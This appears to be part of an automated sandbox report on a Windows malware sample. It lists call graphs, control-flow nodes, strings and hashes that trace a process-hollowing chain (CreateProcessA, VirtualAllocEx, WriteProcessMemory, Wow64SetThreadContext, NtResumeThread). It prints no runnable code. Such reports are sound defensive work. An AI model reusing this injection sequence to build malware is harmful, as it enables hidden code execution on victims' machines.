35823->35816 35824->35816 35825->35816 35826->35816 35827->35816 35828->35816 35829->35816 35831 46c9583 35830->35831 35894 46cb828 35831->35894 35899 46cb819 35831->35899 35832 46c8a2f 35912 46cb740 35835->35912 35917 46cb733 35835->35917 35836 46c8a2f 35840 46c8e81 35839->35840 35930 468b918 35840->35930 35934 468b912 35840->35934 35841 46c88c7 35841->35795 35845 46c98e2 35844->35845 35847 468b918 WriteProcessMemory 35845->35847 35848 468b912 WriteProcessMemory 35845->35848 35846 46c9979 35847->35846 35848->35846 35850 46c9924 35849->35850 35852 468b918 WriteProcessMemory 35850->35852 35853 468b912 WriteProcessMemory 35850->35853 35851 46c9979 35852->35851 35853->35851 35855 46c9506 35854->35855 35938 46c9e80 35855->35938 35942 46c9e73 35855->35942 35856 46c951e 35860 46c8d99 35859->35860 35861 46c8c99 35859->35861 35861->35859 35959 468bac8 35861->35959 35963 468bac0 35861->35963 35865 46c984e 35864->35865 35867 468b918 WriteProcessMemory 35865->35867 35868 468b912 WriteProcessMemory 35865->35868 35866 46c98ae 35867->35866 35868->35866 35870 46c919e 35869->35870 35871 46c8a2f 35870->35871 35872 46cb828 2 API calls 35870->35872 35873 46cb819 2 API calls 35870->35873 35872->35871 35873->35871 35875 46c8c99 35874->35875 35876 46c8d99 35875->35876 35877 468bac8 NtResumeThread 35875->35877 35878 468bac0 NtResumeThread 35875->35878 35877->35875 35878->35875 35880 46c8a2f 35879->35880 35881 46c9579 35879->35881 35882 46cb828 2 API calls 35881->35882 35883 46cb819 2 API calls 35881->35883 35882->35880 35883->35880 35967 46cb9a1 35884->35967 35973 46cba38 35884->35973 35978 46cba48 35884->35978 35885 46c8f11 35890 46c8ca3 35889->35890 35890->35889 35891 46c8d99 35890->35891 35892 468bac8 NtResumeThread 35890->35892 35893 468bac0 NtResumeThread 35890->35893 35892->35890 35893->35890 35895 46cb83d 35894->35895 35904 468b818 35895->35904 35908 468b811 35895->35908 35896 46cb85f 35896->35832 35900 46cb824 35899->35900 35902 468b818 VirtualAllocEx 35900->35902 35903 468b811 VirtualAllocEx 35900->35903 35901 46cb85f 35901->35832 35902->35901 35903->35901 35905 468b858 VirtualAllocEx 35904->35905 35907 468b895 35905->35907 35907->35896 35909 468b818 VirtualAllocEx 35908->35909 35911 468b895 35909->35911 35911->35896 35913 46cb755 35912->35913 35922 468b3f8 35913->35922 35926 468b3f0 35913->35926 35914 46cb76e 35914->35836 35918 46cb740 35917->35918 35920 468b3f8 Wow64SetThreadContext 35918->35920 35921 468b3f0 Wow64SetThreadContext 35918->35921 35919 46cb76e 35919->35836 35920->35919 35921->35919 35923 468b43d Wow64SetThreadContext 35922->35923 35925 468b485 35923->35925 35925->35914 35927 468b3f5 Wow64SetThreadContext 35926->35927 35929 468b485 35927->35929 35929->35914 35931 468b960 WriteProcessMemory 35930->35931 35933 468b9b7 35931->35933 35933->35841 35935 468b918 WriteProcessMemory 35934->35935 35937 468b9b7 35935->35937 35937->35841 35939 46c9e97 35938->35939 35940 46c9eb9 35939->35940 35946 46ca140 35939->35946 35940->35856 35943 46c9e7c 35942->35943 35944 46c9eb9 35943->35944 35945 46ca140 2 API calls 35943->35945 35944->35856 35945->35944 35947 46ca149 35946->35947 35951 468b0f8 35947->35951 35955 468b0ed 35947->35955 35952 468b15c CreateProcessA 35951->35952 35954 468b2e4 35952->35954 35956 468b15c CreateProcessA 35955->35956 35958 468b2e4 35956->35958 35960 468bb10 NtResumeThread 35959->35960 35962 468bb45 35960->35962 35962->35861 35964 468bac8 NtResumeThread 35963->35964 35966 468bb45 35964->35966 35966->35861 35968 46cb9c5 35967->35968 35969 46cb9aa 35967->35969 35968->35969 35971 468b3f8 Wow64SetThreadContext 35968->35971 35972 468b3f0 Wow64SetThreadContext 35968->35972 35969->35885 35970 46cba76 35970->35885 35971->35970 35972->35970 35974 46cba42 35973->35974 35976 468b3f8 Wow64SetThreadContext 35974->35976 35977 468b3f0 Wow64SetThreadContext 35974->35977 35975 46cba76 35975->35885 35976->35975 35977->35975 35979 46cba5d 35978->35979 35981 468b3f8 Wow64SetThreadContext 35979->35981 35982 468b3f0 Wow64SetThreadContext 35979->35982 35980 46cba76 35980->35885 35981->35980 35982->35980

                                                                            Executed Functions

                                                                            Function 00CD4140 Relevance: 5.2, Strings: 4, Instructions: 205COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 125 cd4140-cd4196 128 cd4212-cd421a 125->128 129 cd419d-cd41a0 128->129 130 cd41c0-cd41c5 129->130 131 cd41a7-cd41b0 130->131 132 cd41b9-cd41be 131->132 133 cd41b2 131->133 132->131 133->128 133->129 133->130 133->132 134 cd422e-cd4271 133->134 135 cd41c7-cd41cf 133->135 136 cd41a2-cd41a5 133->136 137 cd41dc-cd41e2 133->137 138 cd41fc-cd4202 133->138 139 cd421c-cd421e 133->139 140 cd4198-cd419b 133->140 141 cd429a-cd429f 133->141 142 cd4276-cd4295 133->142 143 cd41f2-cd41fa 133->143 134->140 151 cd41d8-cd41da 135->151 152 cd41d1 135->152 136->132 144 cd41eb-cd41f0 137->144 145 cd41e4 137->145 146 cd420b-cd4210 138->146 147 cd4204 138->147 148 cd4224-cd4229 139->148 149 cd42a1 139->149 140->143 150 cd42a3-cd42a5 141->150 142->140 143->136 144->136 145->128 145->134 145->138 145->139 145->140 145->141 145->142 145->144 146->129 147->134 147->139 147->141 147->142 147->146 148->140 149->150 155 cd42a7-cd42bf 150->155 156 cd42c1-cd4318 150->156 151->131 152->128 152->129 152->134 152->137 152->138 152->139 152->140 152->141 152->142 152->143 152->151 155->156 170 cd431a-cd4320 156->170 171 cd4330-cd4357 call cd56d7 156->171 172 cd4324-cd4326 170->172 173 cd4322 170->173 176 cd435d-cd43a7 171->176 172->171 173->171 181 cd43bf-cd43c6 176->181 182 cd43a9-cd43af 176->182 183 cd43b1 182->183 184 cd43b3-cd43b5 182->184 183->181 184->181
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: d%dq$d%dq$$^q$$^q
                                                                            • API String ID: 0-141320698
                                                                            • Opcode ID: c8d923f7108d5b877a5a61d22219c02055bd5df1f6924061b961f1c9f85cccf9
                                                                            • Instruction ID: 35905106cccb2a65417e292d35b5f36ed0112415670d8db6e04d35475ae76a91
                                                                            • Opcode Fuzzy Hash: c8d923f7108d5b877a5a61d22219c02055bd5df1f6924061b961f1c9f85cccf9
                                                                            • Instruction Fuzzy Hash: 8661E330B442048FD71C9A39CC91B6E7BE7AB95310F21496BD716DB3E8DA31DD828792
                                                                            Function 046873F8 Relevance: 3.1, Strings: 2, Instructions: 632COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 197 46873f8-4687419 198 468741b 197->198 199 4687420-4687495 197->199 198->199 311 468749b call 4687fc0 199->311 312 468749b call 4687fb0 199->312 206 46874a1-46874de call 4685248 209 46874ed 206->209 210 46874e0-46874eb 206->210 211 46874f7-4687612 call 4684570 call 4684298 209->211 210->211 224 4687624-468764f 211->224 225 4687614-468761a 211->225 226 4687e8b-4687ea7 224->226 225->224 227 4687ead-4687ec8 226->227 228 4687654-46877d2 call 4684570 call 4684298 226->228 241 46877e4-46879a1 call 4684570 call 4684298 228->241 242 46877d4-46877da 228->242 256 46879a3-46879a7 241->256 257 4687a06-4687a10 241->257 242->241 259 46879a9-46879aa 256->259 260 46879af-4687a01 call 4684570 call 4684298 256->260 258 4687c6d-4687c8c 257->258 261 4687c92-4687cbc call 4684f48 258->261 262 4687a15-4687b76 call 4684570 call 4684298 258->262 263 4687d12-4687d7d 259->263 260->263 273 4687cbe-4687d0c call 4684570 call 4684298 261->273 274 4687d0f-4687d10 261->274 302 4687b7c-4687c63 call 4684570 call 4684298 262->302 303 4687c66-4687c67 262->303 285 4687d8f-4687dd7 263->285 286 4687d7f-4687d85 263->286 273->274 274->263 288 4687ddd-4687e72 call 4684570 call 4684298 285->288 289 4687e73-4687e88 285->289 286->285 288->289 289->226 302->303 303->258 311->206 312->206
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: fcq$8
                                                                            • API String ID: 0-89531850
                                                                            • Opcode ID: 56f27eab595fbad634cf20a2d15e4042ac73b7fdc80d3110bd9224bc05857161
                                                                            • Instruction ID: cf76356b025993fdb9659a5b4a60c951852778231308640764c8c2b7856ddc33
                                                                            • Opcode Fuzzy Hash: 56f27eab595fbad634cf20a2d15e4042ac73b7fdc80d3110bd9224bc05857161
                                                                            • Instruction Fuzzy Hash: 2C62C775E00629CFDB68DF68C850ADDB7B2FB89300F54869AD509A7354EB30AE85CF50
                                                                            Function 0468AA88 Relevance: 1.6, APIs: 1, Instructions: 67nativeCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 734 468aa88-468ab26 NtProtectVirtualMemory 737 468ab28-468ab2e 734->737 738 468ab2f-468ab54 734->738 737->738
                                                                            APIs
                                                                            • NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0468AB19
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: MemoryProtectVirtual
                                                                            • String ID:
                                                                            • API String ID: 2706961497-0
                                                                            • Opcode ID: ddeb9f11303339a46863def9d53677986ebc758514d742594b4dc0da5563f3e0
                                                                            • Instruction ID: 45de413cadc215c3fe087fd7b6c2eb78a144152d2cfdfee489e688a472eabb6d
                                                                            • Opcode Fuzzy Hash: ddeb9f11303339a46863def9d53677986ebc758514d742594b4dc0da5563f3e0
                                                                            • Instruction Fuzzy Hash: 782124B1D002499FCB10DFAAD580ADEFBF5FF48310F20842EE459A7210D775A941CBA1
                                                                            Function 0468AA90 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0468AB19
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: MemoryProtectVirtual
                                                                            • String ID:
                                                                            • API String ID: 2706961497-0
                                                                            • Opcode ID: 2e696cb063dcaae28b03cc48f87c798309affb15a3262370932e94915cadd97d
                                                                            • Instruction ID: 0a476d5cbe4ba6db8c7572096d14e92286a7fbafb842c76a3a319aad0da79efd
                                                                            • Opcode Fuzzy Hash: 2e696cb063dcaae28b03cc48f87c798309affb15a3262370932e94915cadd97d
                                                                            • Instruction Fuzzy Hash: 402103B1D003499FCB10DFAAD980ADEFBF5FF48310F20842AE819A7210D775A950CBA5
                                                                            Function 0468BAC0 Relevance: 1.6, APIs: 1, Instructions: 57nativethreadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • NtResumeThread.NTDLL(?,?), ref: 0468BB36
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: ResumeThread
                                                                            • String ID:
                                                                            • API String ID: 947044025-0
                                                                            • Opcode ID: 81121ab0452afa295d316e9a11f6f951120b4213965a61819e65b843a1dfd22c
                                                                            • Instruction ID: 0881d57859248e9ecf4b531c3c2649fc09f8d88bae54d579f9454bab5329bbc5
                                                                            • Opcode Fuzzy Hash: 81121ab0452afa295d316e9a11f6f951120b4213965a61819e65b843a1dfd22c
                                                                            • Instruction Fuzzy Hash: 052127B1D002498FCB10DFAAC444A9EFBF4FF88720F10842ED459A7651CB74A945CFA5
                                                                            Function 046825B8 Relevance: 1.6, Strings: 1, Instructions: 304COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: PH^q
                                                                            • API String ID: 0-2549759414
                                                                            • Opcode ID: eaf40e3d2896cbb245f699635965f4fd2ba29b76a14a38d4ddb3795cf9e2b2ba
                                                                            • Instruction ID: e0808ec900085f4ea24f231a80ae2f778ac249d1914de3313cf2552889406ddd
                                                                            • Opcode Fuzzy Hash: eaf40e3d2896cbb245f699635965f4fd2ba29b76a14a38d4ddb3795cf9e2b2ba
                                                                            • Instruction Fuzzy Hash: B3D14870E05218CFDB24EFA9D894BADBBF2FB49300F1091AAD409A7355E774A985DF01
                                                                            Function 0468BAC8 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • NtResumeThread.NTDLL(?,?), ref: 0468BB36
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: ResumeThread
                                                                            • String ID:
                                                                            • API String ID: 947044025-0
                                                                            • Opcode ID: 576aaf41a4a52390107939f76e6a107c0bbe415e49bdb22da4e9d28e69517353
                                                                            • Instruction ID: 9247af5f19722669a719d1aa3d0b79dcd9683c4e072cd3b191323585c0d17752
                                                                            • Opcode Fuzzy Hash: 576aaf41a4a52390107939f76e6a107c0bbe415e49bdb22da4e9d28e69517353
                                                                            • Instruction Fuzzy Hash: B71106B1D002488BDB10DFAAC444A9EFBF4AB88720F10842AD459A7250CB74A945CFA5
                                                                            Function 046825A7 Relevance: 1.6, Strings: 1, Instructions: 300COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: PH^q
                                                                            • API String ID: 0-2549759414
                                                                            • Opcode ID: 33245edd3b0d42b3a36578c81789439cf1286756d8d35f08fa7bfd4e6c510916
                                                                            • Instruction ID: c8e9b4c647348f46f84f71cd0ba2ed4e2c1f597bce14aac43ca8d4b3104ab5da
                                                                            • Opcode Fuzzy Hash: 33245edd3b0d42b3a36578c81789439cf1286756d8d35f08fa7bfd4e6c510916
                                                                            • Instruction Fuzzy Hash: 80D15970E01218CFEB24DF69D854BAEBBF2FB49300F1091AAD409A7355E774A985CF51
                                                                            Function 046C641F Relevance: .3, Instructions: 283COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: c4c48da3a13dab1b684bf220ecd7ad4679f54816915795c55078b21dad255169
                                                                            • Instruction ID: 3c8b78c0fef94013c5f7abc5e13b9712cfe43e08af89bfac1c8cb6595471bf50
                                                                            • Opcode Fuzzy Hash: c4c48da3a13dab1b684bf220ecd7ad4679f54816915795c55078b21dad255169
                                                                            • Instruction Fuzzy Hash: 8BC12974E05248CFDB54DFA4D884BADBBF2FB49304F6090AAD409A7399E770A985CF05
                                                                            Function 00CD56D7 Relevance: 6.4, Strings: 4, Instructions: 1407COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 0 cd56d7-cd56dd 1 cd56df 0->1 2 cd5668 0->2 3 cd568a-cd56c1 2->3 4 cd566a-cd5688 2->4 7 cd464e-cd4659 3->7 4->3 9 cd469a-cd46cf 7->9 10 cd46d4-cd47c9 7->10 11 cd4667-cd4698 7->11 9->7 35 cd47cf 10->35 36 cd5b18 10->36 11->7 37 cd47d7-cd4a0a 35->37 36->36 37->36 50 cd4a10-cd4b53 37->50 50->36 57 cd4b59-cd4c7c 50->57 57->36 64 cd4c82-cd4da5 57->64 64->36 71 cd4dab-cd5667 64->71 71->2
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 46f074bcf27ee1e7480df8c58354f7a43621d243b4a0d14ef63bea3b20932cd8
                                                                            • Instruction ID: 30ce4bf313a8e89c6ded9d7f18d7bd16ce9b86b01b369e2ba1d349a249868a05
                                                                            • Opcode Fuzzy Hash: 46f074bcf27ee1e7480df8c58354f7a43621d243b4a0d14ef63bea3b20932cd8
                                                                            • Instruction Fuzzy Hash: 10D2267A250510EFCB4A9F98D948D55BBB2FF4D32475A81E8F2099B236C732D861EF40
                                                                            Function 00CD4546 Relevance: 5.0, Strings: 4, Instructions: 7COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 186 cd4546-cd45e3 188 cd5b18 186->188 188->188
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 165018177de4c782d9c6fd9b81965163b04fa62f5a3aac74d436248b1a41ed79
                                                                            • Instruction ID: 9b92dcb7edf444cf21f506ad5a87655b48f48a8440edcf9e30f7cb26de87697e
                                                                            • Opcode Fuzzy Hash: 165018177de4c782d9c6fd9b81965163b04fa62f5a3aac74d436248b1a41ed79
                                                                            • Instruction Fuzzy Hash: 07B0922180E3C0DF87024E9584C00607F24AA62240368C4E7C6860F14BD024C986E331
                                                                            Function 046C98DE Relevance: 3.8, Strings: 3, Instructions: 30COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 189 46c98de-46c98e0 190 46c9950-46c9974 189->190 191 46c98e2-46c98ea 189->191 195 46c9977 call 468b918 190->195 196 46c9977 call 468b912 190->196 191->190 192 46c9979-46c9986 193 46c998c-46c9993 192->193 194 46c9a81-46c9a99 192->194 193->194 195->192 196->192
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: +$<$=
                                                                            • API String ID: 0-3683803170
                                                                            • Opcode ID: aa5ec3140b4eb0e66d37c523c43959bb3ad7635ad8d318cf967498f1f6fb6085
                                                                            • Instruction ID: 0f8b8384166ea3eae196fab6171e9f52a8c8752790301ce172cc2853e0650ee3
                                                                            • Opcode Fuzzy Hash: aa5ec3140b4eb0e66d37c523c43959bb3ad7635ad8d318cf967498f1f6fb6085
                                                                            • Instruction Fuzzy Hash: 6001B2B0901228CFDB21DF91C988BE9BBB4EB09305F1090DA990DA7251E3756F8ACF40
                                                                            Function 0468B0ED Relevance: 1.7, APIs: 1, Instructions: 205processCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 552 468b0ed-468b168 554 468b16a-468b174 552->554 555 468b1a1-468b1c1 552->555 554->555 556 468b176-468b178 554->556 560 468b1fa-468b234 555->560 561 468b1c3-468b1cd 555->561 558 468b17a-468b184 556->558 559 468b19b-468b19e 556->559 562 468b188-468b197 558->562 563 468b186 558->563 559->555 571 468b26d-468b2e2 CreateProcessA 560->571 572 468b236-468b240 560->572 561->560 564 468b1cf-468b1d1 561->564 562->562 565 468b199 562->565 563->562 566 468b1d3-468b1dd 564->566 567 468b1f4-468b1f7 564->567 565->559 569 468b1df 566->569 570 468b1e1-468b1f0 566->570 567->560 569->570 570->570 573 468b1f2 570->573 582 468b2eb-468b333 571->582 583 468b2e4-468b2ea 571->583 572->571 574 468b242-468b244 572->574 573->567 576 468b246-468b250 574->576 577 468b267-468b26a 574->577 578 468b252 576->578 579 468b254-468b263 576->579 577->571 578->579 579->579 580 468b265 579->580 580->577 588 468b343-468b347 582->588 589 468b335-468b339 582->589 583->582 591 468b349-468b34d 588->591 592 468b357-468b35b 588->592 589->588 590 468b33b 589->590 590->588 591->592 593 468b34f 591->593 594 468b36b 592->594 595 468b35d-468b361 592->595 593->592 597 468b36c 594->597 595->594 596 468b363 595->596 596->594 597->597
                                                                            APIs
                                                                            • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0468B2D2
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: CreateProcess
                                                                            • String ID:
                                                                            • API String ID: 963392458-0
                                                                            • Opcode ID: 35bc68785c00fcd1ad74611d333c61ded85cef42aa7b3d226f2137c119779b2c
                                                                            • Instruction ID: 09b4b2e6c29e85490f178208cd36ec2be2f52abb6e39fbc0a40017302b509438
                                                                            • Opcode Fuzzy Hash: 35bc68785c00fcd1ad74611d333c61ded85cef42aa7b3d226f2137c119779b2c
                                                                            • Instruction Fuzzy Hash: FE814571D002599FDB10DFA9C8817EEBBF1BF48714F148229E859AB354EB74A881CF81
                                                                            Function 0468B0F8 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 598 468b0f8-468b168 600 468b16a-468b174 598->600 601 468b1a1-468b1c1 598->601 600->601 602 468b176-468b178 600->602 606 468b1fa-468b234 601->606 607 468b1c3-468b1cd 601->607 604 468b17a-468b184 602->604 605 468b19b-468b19e 602->605 608 468b188-468b197 604->608 609 468b186 604->609 605->601 617 468b26d-468b2e2 CreateProcessA 606->617 618 468b236-468b240 606->618 607->606 610 468b1cf-468b1d1 607->610 608->608 611 468b199 608->611 609->608 612 468b1d3-468b1dd 610->612 613 468b1f4-468b1f7 610->613 611->605 615 468b1df 612->615 616 468b1e1-468b1f0 612->616 613->606 615->616 616->616 619 468b1f2 616->619 628 468b2eb-468b333 617->628 629 468b2e4-468b2ea 617->629 618->617 620 468b242-468b244 618->620 619->613 622 468b246-468b250 620->622 623 468b267-468b26a 620->623 624 468b252 622->624 625 468b254-468b263 622->625 623->617 624->625 625->625 626 468b265 625->626 626->623 634 468b343-468b347 628->634 635 468b335-468b339 628->635 629->628 637 468b349-468b34d 634->637 638 468b357-468b35b 634->638 635->634 636 468b33b 635->636 636->634 637->638 639 468b34f 637->639 640 468b36b 638->640 641 468b35d-468b361 638->641 639->638 643 468b36c 640->643 641->640 642 468b363 641->642 642->640 643->643
                                                                            APIs
                                                                            • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0468B2D2
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: CreateProcess
                                                                            • String ID:
                                                                            • API String ID: 963392458-0
                                                                            • Opcode ID: 658f891df1d7d9d848c60e55dbd6bc781c0b9d4413e80895ae61218f4d629886
                                                                            • Instruction ID: 3a4afbe41adcde7ec93ed190911d271c0427a5f1f75e1263cfd51d846ba2c781
                                                                            • Opcode Fuzzy Hash: 658f891df1d7d9d848c60e55dbd6bc781c0b9d4413e80895ae61218f4d629886
                                                                            • Instruction Fuzzy Hash: 7D814471D006499FDB10DFA9C8817EEBBF1BF48714F148229E858AB354EB74A881CF81
                                                                            Function 0468CF9D Relevance: 1.6, APIs: 1, Instructions: 146fileCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 644 468cf9d-468d009 647 468d00b-468d015 644->647 648 468d042-468d062 644->648 647->648 649 468d017-468d019 647->649 655 468d09b-468d0fd CopyFileA 648->655 656 468d064-468d06e 648->656 650 468d01b-468d025 649->650 651 468d03c-468d03f 649->651 653 468d029-468d038 650->653 654 468d027 650->654 651->648 653->653 657 468d03a 653->657 654->653 666 468d0ff-468d105 655->666 667 468d106-468d14e 655->667 656->655 658 468d070-468d072 656->658 657->651 660 468d074-468d07e 658->660 661 468d095-468d098 658->661 662 468d080 660->662 663 468d082-468d091 660->663 661->655 662->663 663->663 664 468d093 663->664 664->661 666->667 672 468d15e-468d162 667->672 673 468d150-468d154 667->673 675 468d172 672->675 676 468d164-468d168 672->676 673->672 674 468d156 673->674 674->672 678 468d173 675->678 676->675 677 468d16a 676->677 677->675 678->678
                                                                            APIs
                                                                            • CopyFileA.KERNEL32(?,?,?), ref: 0468D0ED
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: CopyFile
                                                                            • String ID:
                                                                            • API String ID: 1304948518-0
                                                                            • Opcode ID: 5662001fafe64cfba9596632a5bac4e44fe48bf4836281618943fa18277cfc75
                                                                            • Instruction ID: c9988bb5a8506150c26e3d588f9955f9f8bce8daf89a4ddb6b59ec46318b271b
                                                                            • Opcode Fuzzy Hash: 5662001fafe64cfba9596632a5bac4e44fe48bf4836281618943fa18277cfc75
                                                                            • Instruction Fuzzy Hash: 65519071D002589FDB10EFA9D84579EBBF2FF48314F148629E854E7384E775A842CB91
                                                                            Function 0468CFA8 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 679 468cfa8-468d009 681 468d00b-468d015 679->681 682 468d042-468d062 679->682 681->682 683 468d017-468d019 681->683 689 468d09b-468d0fd CopyFileA 682->689 690 468d064-468d06e 682->690 684 468d01b-468d025 683->684 685 468d03c-468d03f 683->685 687 468d029-468d038 684->687 688 468d027 684->688 685->682 687->687 691 468d03a 687->691 688->687 700 468d0ff-468d105 689->700 701 468d106-468d14e 689->701 690->689 692 468d070-468d072 690->692 691->685 694 468d074-468d07e 692->694 695 468d095-468d098 692->695 696 468d080 694->696 697 468d082-468d091 694->697 695->689 696->697 697->697 698 468d093 697->698 698->695 700->701 706 468d15e-468d162 701->706 707 468d150-468d154 701->707 709 468d172 706->709 710 468d164-468d168 706->710 707->706 708 468d156 707->708 708->706 712 468d173 709->712 710->709 711 468d16a 710->711 711->709 712->712
                                                                            APIs
                                                                            • CopyFileA.KERNEL32(?,?,?), ref: 0468D0ED
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738239874.0000000004680000.00000040.00000800.00020000.00000000.sdmp, Offset: 04680000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_4680000_________.jbxd
                                                                            Similarity
                                                                            • API ID: CopyFile
                                                                            • String ID:
                                                                            • API String ID: 1304948518-0
                                                                            • Opcode ID: e1050055af42c6cd0c87ee3aa63b05218d8c4da02a8f4cbfbc1349fb74e6e2f2
                                                                            • Instruction ID: 46a783ebe929ef6da810b753a8e359693969747b77cb9bba1165f9e1948d8900
